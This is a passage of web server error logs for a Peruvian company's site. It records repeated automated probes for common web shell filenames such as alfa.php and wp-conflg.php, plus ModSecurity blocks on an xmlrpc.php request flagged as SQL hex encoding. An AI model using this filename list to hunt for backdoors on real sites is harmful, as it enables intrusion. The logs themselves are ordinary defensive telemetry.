104.215.23.26:40942] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://www.google.de/ [Sun Dec 07 00:09:38.495341 2025] [:error] [pid 22370:tid 22380] [client 104.215.23.26:40944] File does not exist: /home/coldtecp/public_html/network.php, referer: https://www.google.fr/ [Sun Dec 07 00:09:38.669497 2025] [:error] [pid 22222:tid 22262] [client 104.215.23.26:40946] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: https://www.google.co.uk/ [Sun Dec 07 00:09:38.872521 2025] [:error] [pid 22222:tid 22282] [client 104.215.23.26:40948] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.yahoo.com/ [Sun Dec 07 00:09:40.144905 2025] [:error] [pid 22222:tid 22290] [client 104.215.23.26:40962] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.com/ [Sun Dec 07 00:09:42.162231 2025] [:error] [pid 22370:tid 22379] [client 104.215.23.26:40982] File does not exist: /home/coldtecp/public_html/wp-editor.php, referer: https://www.google.de/ [Sun Dec 07 00:09:42.361330 2025] [:error] [pid 22220:tid 22235] [client 104.215.23.26:40984] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.yahoo.com/ [Sun Dec 07 00:09:49.854585 2025] [:error] [pid 22222:tid 22281] [client 104.215.23.26:41054] File does not exist: /home/coldtecp/public_html/wp-themes.php, referer: https://www.yahoo.com/ [Sun Dec 07 00:09:50.029850 2025] [:error] [pid 22221:tid 22252] [client 104.215.23.26:41058] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.co.uk/ [Sun Dec 07 00:09:50.225500 2025] [:error] [pid 22370:tid 22379] [client 104.215.23.26:41062] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.fr/ [Sun Dec 07 00:09:50.402193 2025] [:error] [pid 22370:tid 22387] [client 104.215.23.26:41064] File does not exist: /home/coldtecp/public_html/x.php, referer: https://www.yahoo.com/ [Sun Dec 07 00:09:50.601951 2025] [:error] [pid 22222:tid 22294] [client 104.215.23.26:41066] File does not exist: /home/coldtecp/public_html/yas.php, referer: https://www.yahoo.com/ [Sun Dec 07 00:09:50.939951 2025] [:error] [pid 22222:tid 22280] [client 104.215.23.26:41068] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.fr/ [Sun Dec 07 00:09:51.291376 2025] [:error] [pid 22222:tid 22289] [client 104.215.23.26:41070] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.com/ [Sun Dec 07 00:09:51.466111 2025] [:error] [pid 22221:tid 22260] [client 104.215.23.26:41072] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://duckduckgo.com/ [Sun Dec 07 00:09:51.668383 2025] [:error] [pid 22221:tid 22268] [client 104.215.23.26:41074] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.bing.com/ [Sun Dec 07 00:09:52.180601 2025] [:error] [pid 22220:tid 22231] [client 104.215.23.26:41076] File does not exist: /home/coldtecp/public_html/api.php, referer: https://duckduckgo.com/ [Sun Dec 07 00:09:52.975843 2025] [:error] [pid 22220:tid 22236] [client 104.215.23.26:41082] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.yahoo.com/ [Sun Dec 07 00:09:53.188621 2025] [:error] [pid 22220:tid 22226] [client 104.215.23.26:41084] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.google.com/ [Sun Dec 07 00:09:53.382829 2025] [:error] [pid 22220:tid 22229] [client 104.215.23.26:41086] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.yahoo.com/ [Sun Dec 07 00:09:53.576709 2025] [:error] [pid 22220:tid 22238] [client 104.215.23.26:41088] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.com/ [Sun Dec 07 00:09:53.751356 2025] [:error] [pid 22220:tid 22228] [client 104.215.23.26:41090] File does not exist: /home/coldtecp/public_html/NewFile.php, referer: https://www.yahoo.com/ [Sun Dec 07 00:09:54.020050 2025] [:error] [pid 22220:tid 22233] [client 104.215.23.26:41094] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.bing.com/ [Sun Dec 07 00:09:54.193898 2025] [:error] [pid 22220:tid 22240] [client 104.215.23.26:41096] File does not exist: /home/coldtecp/public_html/gel4y.php, referer: https://www.google.com/ [Sun Dec 07 00:09:54.443283 2025] [:error] [pid 22220:tid 22248] [client 104.215.23.26:41098] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.google.de/ [Sun Dec 07 00:09:54.617185 2025] [:error] [pid 22220:tid 22247] [client 104.215.23.26:41100] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.google.de/ [Sun Dec 07 00:09:54.791247 2025] [:error] [pid 22221:tid 22256] [client 104.215.23.26:41102] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.yahoo.com/ [Sun Dec 07 00:09:54.965250 2025] [:error] [pid 22370:tid 22381] [client 104.215.23.26:41104] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.com/ [Sun Dec 07 00:09:55.165453 2025] [:error] [pid 22370:tid 22383] [client 104.215.23.26:41106] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.google.co.uk/ [Sun Dec 07 00:09:55.346900 2025] [:error] [pid 22370:tid 22373] [client 104.215.23.26:41108] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.yahoo.com/ [Sun Dec 07 00:09:56.011999 2025] [:error] [pid 22221:tid 22273] [client 104.215.23.26:41110] File does not exist: /home/coldtecp/public_html/wp-conflg.php, referer: https://www.yahoo.com/ [Sun Dec 07 00:09:56.330416 2025] [:error] [pid 22370:tid 22380] [client 104.215.23.26:41112] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.co.uk/ [Sun Dec 07 00:10:06.494448 2025] [:error] [pid 22370:tid 22375] [client 104.215.23.26:41224] File does not exist: /home/coldtecp/public_html/moon.php, referer: https://duckduckgo.com/ 2025/12/07 00:10:13 [error] 22200#22200: *628684 directory index of "/usr/local/apache/autossl_tmp/.well-known/acme-challenge/" is forbidden, client: 104.215.23.26, server: coldtecperu.com, request: "GET /.well-known/acme-challenge/ HTTP/1.1", host: "coldtecperu.com", referrer: "https://www.google.com/" [Sun Dec 07 06:07:21.958509 2025] [:error] [pid 13663:tid 13674] [client 80.66.79.42:39040] [client 80.66.79.42] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-511999"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aTVf6VHr5vMKmY2FbgHr0gAAAMk"] [Sun Dec 07 08:22:07.863919 2025] [:error] [pid 13391:tid 13435] [client 68.218.89.6:49192] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://www.google.fr/ [Sun Dec 07 08:22:08.075052 2025] [:error] [pid 13392:tid 13471] [client 68.218.89.6:49194] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.google.com/ [Sun Dec 07 08:22:08.287511 2025] [:error] [pid 13391:tid 13442] [client 68.218.89.6:49196] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://www.google.com/ [Sun Dec 07 08:22:08.498526 2025] [:error] [pid 13391:tid 13436] [client 68.218.89.6:49198] File does not exist: /home/coldtecp/public_html/1.php, referer: https://www.bing.com/ [Sun Dec 07 08:22:08.715759 2025] [:error] [pid 13391:tid 13432] [client 68.218.89.6:49200] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.google.co.uk/ [Sun Dec 07 08:22:08.927596 2025] [:error] [pid 13392:tid 13443] [client 68.218.89.6:49202] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.com/ [Sun Dec 07 08:22:09.138760 2025] [:error] [pid 13391:tid 13428] [client 68.218.89.6:49204] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.google.de/ [Sun Dec 07 08:22:09.560359 2025] [:error] [pid 13392:tid 13474] [client 68.218.89.6:49212] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.de/ [Sun Dec 07 08:22:09.771550 2025] [:error] [pid 13663:tid 13679] [client 68.218.89.6:49214] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.google.fr/ [Sun Dec 07 08:22:09.982486 2025] [:error] [pid 13663:tid 13688] [client 68.218.89.6:49216] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://www.yahoo.com/ [Sun Dec 07 08:22:10.194043 2025] [:error] [pid 13391:tid 13427] [client 68.218.89.6:49218] File does not exist: /home/coldtecp/public_html/api.php, referer: https://duckduckgo.com/ [Sun Dec 07 08:22:10.620097 2025] [:error] [pid 13392:tid 13449] [client 68.218.89.6:49226] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.bing.com/ [Sun Dec 07 08:22:11.053336 2025] [:error] [pid 13663:tid 13675] [client 68.218.89.6:49230] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.yahoo.com/ [Sun Dec 07 08:22:11.267334 2025] [:error] [pid 13663:tid 13682] [client 68.218.89.6:49232] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://duckduckgo.com/ [Sun Dec 07 08:22:11.478456 2025] [:error] [pid 13663:tid 13665] [client 68.218.89.6:49234] File does not exist: /home/coldtecp/public_html/file.php, referer: https://duckduckgo.com/ [Sun Dec 07 08:22:11.695205 2025] [:error] [pid 13390:tid 13400] [client 68.218.89.6:49240] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.fr/ [Sun Dec 07 08:22:11.906050 2025] [:error] [pid 13390:tid 13397] [client 68.218.89.6:49242] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.google.co.uk/ [Sun Dec 07 08:22:12.117122 2025] [:error] [pid 13390:tid 13419] [client 68.218.89.6:49244] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.bing.com/ [Sun Dec 07 08:22:12.330278 2025] [:error] [pid 13392:tid 13467] [client 68.218.89.6:49246] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://duckduckgo.com/ [Sun Dec 07 08:22:12.752308 2025] [:error] [pid 13663:tid 13666] [client 68.218.89.6:49250] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://duckduckgo.com/ [Sun Dec 07 08:22:12.963619 2025] [:error] [pid 13663:tid 13668] [client 68.218.89.6:49252] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.co.uk/ [Sun Dec 07 08:22:13.175173 2025] [:error] [pid 13663:tid 13684] [client 68.218.89.6:49254] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.com/ [Sun Dec 07 08:22:13.386096 2025] [:error] [pid 13663:tid 13667] [client 68.218.89.6:49256] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.google.de/ [Sun Dec 07 08:22:13.602825 2025] [:error] [pid 13663:tid 13689] [client 68.218.89.6:49262] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.co.uk/ [Sun Dec 07 08:22:14.242986 2025] [:error] [pid 13663:tid 13671] [client 68.218.89.6:49270] File does not exist: /home/coldtecp/public_html/av.php, referer: https://duckduckgo.com/ [Sun Dec 07 08:22:14.454025 2025] [:error] [pid 13390:tid 13403] [client 68.218.89.6:49272] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.co.uk/ [Sun Dec 07 08:22:14.895227 2025] [:error] [pid 13663:tid 13674] [client 68.218.89.6:49280] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.fr/ [Sun Dec 07 08:22:15.322796 2025] [:error] [pid 13392:tid 13465] [client 68.218.89.6:49284] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.bing.com/ [Sun Dec 07 08:22:15.969009 2025] [:error] [pid 13663:tid 13686] [client 68.218.89.6:49290] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.bing.com/ [Sun Dec 07 08:22:16.180149 2025] [:error] [pid 13663:tid 13672] [client 68.218.89.6:49292] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.co.uk/ [Sun Dec 07 08:22:16.601369 2025] [:error] [pid 13390:tid 13404] [client 68.218.89.6:49296] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://www.google.com/ [Sun Dec 07 08:22:17.061086 2025] [:error] [pid 13390:tid 13416] [client 68.218.89.6:49300] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.de/ [Sun Dec 07 08:22:17.272328 2025] [:error] [pid 13391:tid 13430] [client 68.218.89.6:49302] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: https://www.yahoo.com/ [Sun Dec 07 08:22:17.483797 2025] [:error] [pid 13663:tid 13680] [client 68.218.89.6:49304] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.de/ [Sun Dec 07 08:22:18.128235 2025] [:error] [pid 13663:tid 13677] [client 68.218.89.6:49310] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.de/ [Sun Dec 07 08:22:18.761443 2025] [:error] [pid 13392:tid 13455] [client 68.218.89.6:49316] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.fr/ [Sun Dec 07 08:22:20.257387 2025] [:error] [pid 13392:tid 13470] [client 68.218.89.6:49330] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.fr/ [Sun Dec 07 08:22:21.951061 2025] [:error] [pid 13392:tid 13463] [client 68.218.89.6:49346] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.yahoo.com/ [Sun Dec 07 08:22:27.307116 2025] [:error] [pid 13663:tid 13686] [client 68.218.89.6:49396] File does not exist: /home/coldtecp/public_html/wp-editor.php, referer: https://www.google.com/ [Sun Dec 07 08:22:32.394875 2025] [:error] [pid 13391:tid 13452] [client 68.218.89.6:49448] File does not exist: /home/coldtecp/public_html/wp-themes.php, referer: https://www.google.co.uk/ [Sun Dec 07 08:22:32.605949 2025] [:error] [pid 13391:tid 13456] [client 68.218.89.6:49450] File does not exist: /home/coldtecp/public_html/x.php, referer: https://www.google.co.uk/ [Sun Dec 07 08:22:32.817272 2025] [:error] [pid 13391:tid 13448] [client 68.218.89.6:49452] File does not exist: /home/coldtecp/public_html/yas.php, referer: https://www.google.co.uk/ [Sun Dec 07 16:39:15.547636 2025] [:error] [pid 13390:tid 13401] [client 20.89.192.194:60118] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://www.google.co.uk/ [Sun Dec 07 16:39:15.728086 2025] [:error] [pid 13391:tid 13436] [client 20.89.192.194:60120] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.google.de/ [Sun Dec 07 16:39:15.908631 2025] [:error] [pid 13663:tid 13678] [client 20.89.192.194:60122] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://www.bing.com/ [Sun Dec 07 16:39:16.096209 2025] [:error] [pid 13663:tid 13673] [client 20.89.192.194:60124] File does not exist: /home/coldtecp/public_html/1.php, referer: https://www.google.co.uk/ [Sun Dec 07 16:39:16.276915 2025] [:error] [pid 13663:tid 13676] [client 20.89.192.194:60126] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.google.co.uk/ [Sun Dec 07 16:39:16.456945 2025] [:error] [pid 13663:tid 13684] [client 20.89.192.194:60128] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.com/ [Sun Dec 07 16:39:16.637274 2025] [:error] [pid 13663:tid 13667] [client 20.89.192.194:60130] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.bing.com/ [Sun Dec 07 16:39:16.999534 2025] [:error] [pid 13663:tid 13677] [client 20.89.192.194:60134] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.yahoo.com/ [Sun Dec 07 16:39:17.179849 2025] [:error] [pid 13663:tid 13672] [client 20.89.192.194:60136] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.yahoo.com/ [Sun Dec 07 16:39:17.359984 2025] [:error] [pid 13663:tid 13687] [client 20.89.192.194:60138] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://www.google.fr/ [Sun Dec 07 16:39:17.540132 2025] [:error] [pid 13663:tid 13668] [client 20.89.192.194:60140] File does not exist: /home/coldtecp/public_html/api.php, referer: https://www.bing.com/ [Sun Dec 07 16:39:17.900326 2025] [:error] [pid 13663:tid 13679] [client 20.89.192.194:60148] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://duckduckgo.com/ [Sun Dec 07 16:39:18.261890 2025] [:error] [pid 13392:tid 13472] [client 20.89.192.194:60152] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.com/ [Sun Dec 07 16:39:18.441947 2025] [:error] [pid 13391:tid 13454] [client 20.89.192.194:60154] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.google.com/ [Sun Dec 07 16:39:18.621919 2025] [:error] [pid 13390:tid 13407] [client 20.89.192.194:60156] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.bing.com/ [Sun Dec 07 16:39:18.806092 2025] [:error] [pid 13390:tid 13411] [client 20.89.192.194:60158] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.bing.com/ [Sun Dec 07 16:39:18.986962 2025] [:error] [pid 13663:tid 13682] [client 20.89.192.194:60160] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.google.fr/ [Sun Dec 07 16:39:19.167390 2025] [:error] [pid 13663:tid 13688] [client 20.89.192.194:60162] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.google.fr/ [Sun Dec 07 16:39:19.348196 2025] [:error] [pid 13663:tid 13686] [client 20.89.192.194:60164] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.google.com/ [Sun Dec 07 16:39:19.708481 2025] [:error] [pid 13663:tid 13680] [client 20.89.192.194:60168] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.de/ [Sun Dec 07 16:39:19.888856 2025] [:error] [pid 13391:tid 13426] [client 20.89.192.194:60170] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.co.uk/ [Sun Dec 07 16:39:20.069111 2025] [:error] [pid 13391:tid 13446] [client 20.89.192.194:60172] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://duckduckgo.com/ [Sun Dec 07 16:39:20.249237 2025] [:error] [pid 13663:tid 13683] [client 20.89.192.194:60174] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.google.de/ [Sun Dec 07 16:39:20.429567 2025] [:error] [pid 13663:tid 13669] [client 20.89.192.194:60176] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.co.uk/ [Sun Dec 07 16:39:20.970249 2025] [:error] [pid 13392:tid 13469] [client 20.89.192.194:60182] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.de/ [Sun Dec 07 16:39:21.150385 2025] [:error] [pid 13392:tid 13451] [client 20.89.192.194:60184] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.de/ [Sun Dec 07 16:39:21.510691 2025] [:error] [pid 13663:tid 13675] [client 20.89.192.194:60188] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.com/ [Sun Dec 07 16:39:21.874614 2025] [:error] [pid 13390:tid 13408] [client 20.89.192.194:60192] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.google.de/ [Sun Dec 07 16:39:22.415084 2025] [:error] [pid 13390:tid 13398] [client 20.89.192.194:60198] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.google.co.uk/ [Sun Dec 07 16:39:22.595042 2025] [:error] [pid 13663:tid 13665] [client 20.89.192.194:60200] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.com/ [Sun Dec 07 16:39:22.958769 2025] [:error] [pid 13663:tid 13689] [client 20.89.192.194:60204] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://www.google.fr/ [Sun Dec 07 16:39:23.319363 2025] [:error] [pid 13663:tid 13670] [client 20.89.192.194:60212] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.bing.com/ [Sun Dec 07 16:39:23.499552 2025] [:error] [pid 13663:tid 13682] [client 20.89.192.194:60214] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: https://www.google.co.uk/ [Sun Dec 07 16:39:23.679553 2025] [:error] [pid 13391:tid 13425] [client 20.89.192.194:60216] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.de/ [Sun Dec 07 16:39:24.221335 2025] [:error] [pid 13390:tid 13417] [client 20.89.192.194:60222] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.yahoo.com/ [Sun Dec 07 16:39:24.761405 2025] [:error] [pid 13663:tid 13686] [client 20.89.192.194:60228] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.bing.com/ [Sun Dec 07 16:39:26.027827 2025] [:error] [pid 13391:tid 13450] [client 20.89.192.194:60242] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://duckduckgo.com/ [Sun Dec 07 16:39:27.498974 2025] [:error] [pid 13392:tid 13469] [client 20.89.192.194:60258] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.de/ [Sun Dec 07 16:39:32.068072 2025] [:error] [pid 13392:tid 13474] [client 20.89.192.194:60312] File does not exist: /home/coldtecp/public_html/wp-editor.php, referer: https://www.google.com/ [Sun Dec 07 16:39:36.432887 2025] [:error] [pid 13663:tid 13667] [client 20.89.192.194:60364] File does not exist: /home/coldtecp/public_html/wp-themes.php, referer: https://www.google.co.uk/ [Sun Dec 07 16:39:36.637907 2025] [:error] [pid 13663:tid 13674] [client 20.89.192.194:60366] File does not exist: /home/coldtecp/public_html/x.php, referer: https://www.google.com/ [Sun Dec 07 16:39:36.818191 2025] [:error] [pid 13663:tid 13677] [client 20.89.192.194:60368] File does not exist: /home/coldtecp/public_html/yas.php, referer: https://www.google.co.uk/ [Sun Dec 07 17:51:02.969511 2025] [:error] [pid 13663:tid 13671] [client 181.191.179.71:37844] [client 181.191.179.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x5771b1d7de found within XML: metaWeblog.newPost16037360373title0x5771b1d7description0x5771b1d7mt_keywords0x5771b1d7mt_excerpt0x5771b1d71"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aTYE1lHr5vMKmY2FbgEF2QAAAMY"] [Sun Dec 07 19:30:53.027777 2025] [:error] [pid 13390:tid 13409] [client 4.230.26.9:46454] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://www.bing.com/ [Sun Dec 07 19:30:53.265115 2025] [:error] [pid 13390:tid 13412] [client 4.230.26.9:46456] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.google.fr/ [Sun Dec 07 19:30:53.845145 2025] [:error] [pid 13390:tid 13421] [client 4.230.26.9:46458] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://www.yahoo.com/ [Sun Dec 07 19:30:54.057958 2025] [:error] [pid 13390:tid 13415] [client 4.230.26.9:46460] File does not exist: /home/coldtecp/public_html/1.php, referer: https://www.google.fr/ [Sun Dec 07 19:30:54.966472 2025] [:error] [pid 13390:tid 13411] [client 4.230.26.9:46462] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.yahoo.com/ [Sun Dec 07 19:30:55.168354 2025] [:error] [pid 13392:tid 13471] [client 4.230.26.9:46464] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://duckduckgo.com/ [Sun Dec 07 19:30:55.396689 2025] [:error] [pid 13663:tid 13668] [client 4.230.26.9:46466] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.google.de/ [Sun Dec 07 19:30:55.852102 2025] [:error] [pid 13663:tid 13683] [client 4.230.26.9:46470] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.fr/ [Sun Dec 07 19:30:56.082235 2025] [:error] [pid 13663:tid 13666] [client 4.230.26.9:46472] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://duckduckgo.com/ [Sun Dec 07 19:30:56.941573 2025] [:error] [pid 13391:tid 13440] [client 4.230.26.9:46474] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://www.google.com/ [Sun Dec 07 19:30:57.145119 2025] [:error] [pid 13663:tid 13670] [client 4.230.26.9:46476] File does not exist: /home/coldtecp/public_html/api.php, referer: https://www.google.co.uk/ [Sun Dec 07 19:30:57.548898 2025] [:error] [pid 13663:tid 13680] [client 4.230.26.9:46480] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.co.uk/ [Sun Dec 07 19:30:58.626167 2025] [:error] [pid 13663:tid 13675] [client 4.230.26.9:46484] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.bing.com/ [Sun Dec 07 19:30:58.840815 2025] [:error] [pid 13663:tid 13681] [client 4.230.26.9:46490] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://duckduckgo.com/ [Sun Dec 07 19:30:59.042856 2025] [:error] [pid 13663:tid 13689] [client 4.230.26.9:46492] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.google.com/ [Sun Dec 07 19:30:59.244993 2025] [:error] [pid 13663:tid 13671] [client 4.230.26.9:46494] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.co.uk/ [Sun Dec 07 19:30:59.459248 2025] [:error] [pid 13663:tid 13667] [client 4.230.26.9:46496] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.google.fr/ [Sun Dec 07 19:30:59.672875 2025] [:error] [pid 13390:tid 13402] [client 4.230.26.9:46498] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.google.fr/ [Sun Dec 07 19:31:00.462554 2025] [:error] [pid 13392:tid 13445] [client 4.230.26.9:46500] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.bing.com/ [Sun Dec 07 19:31:01.195623 2025] [:error] [pid 13390:tid 13405] [client 4.230.26.9:46504] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.com/ [Sun Dec 07 19:31:01.637197 2025] [:error] [pid 13392:tid 13462] [client 4.230.26.9:46506] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.bing.com/ [Sun Dec 07 19:31:01.868723 2025] [:error] [pid 13392:tid 13472] [client 4.230.26.9:46508] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.de/ [Sun Dec 07 19:31:02.071901 2025] [:error] [pid 13663:tid 13678] [client 4.230.26.9:46510] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.bing.com/ [Sun Dec 07 19:31:02.593383 2025] [:error] [pid 13392:tid 13467] [client 4.230.26.9:46512] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.yahoo.com/ [Sun Dec 07 19:31:03.328322 2025] [:error] [pid 13663:tid 13685] [client 4.230.26.9:46518] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.fr/ [Sun Dec 07 19:31:03.532200 2025] [:error] [pid 13663:tid 13688] [client 4.230.26.9:46520] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.yahoo.com/ [Sun Dec 07 19:31:03.943402 2025] [:error] [pid 13392:tid 13451] [client 4.230.26.9:46524] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.de/ [Sun Dec 07 19:31:04.415501 2025] [:error] [pid 13663:tid 13665] [client 4.230.26.9:46528] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.yahoo.com/ [Sun Dec 07 19:31:05.032360 2025] [:error] [pid 13663:tid 13689] [client 4.230.26.9:46538] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.google.fr/ [Sun Dec 07 19:31:05.238454 2025] [:error] [pid 13390:tid 13399] [client 4.230.26.9:46540] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://duckduckgo.com/ [Sun Dec 07 19:31:05.653517 2025] [:error] [pid 13392:tid 13443] [client 4.230.26.9:46544] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://www.google.de/ [Sun Dec 07 19:31:06.371139 2025] [:error] [pid 13663:tid 13667] [client 4.230.26.9:46552] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.de/ [Sun Dec 07 19:31:06.891107 2025] [:error] [pid 13663:tid 13672] [client 4.230.26.9:46554] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: https://www.google.de/ [Sun Dec 07 19:31:07.428450 2025] [:error] [pid 13390:tid 13401] [client 4.230.26.9:46556] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.bing.com/ [Sun Dec 07 19:31:08.061986 2025] [:error] [pid 13391:tid 13433] [client 4.230.26.9:46562] File does not exist: 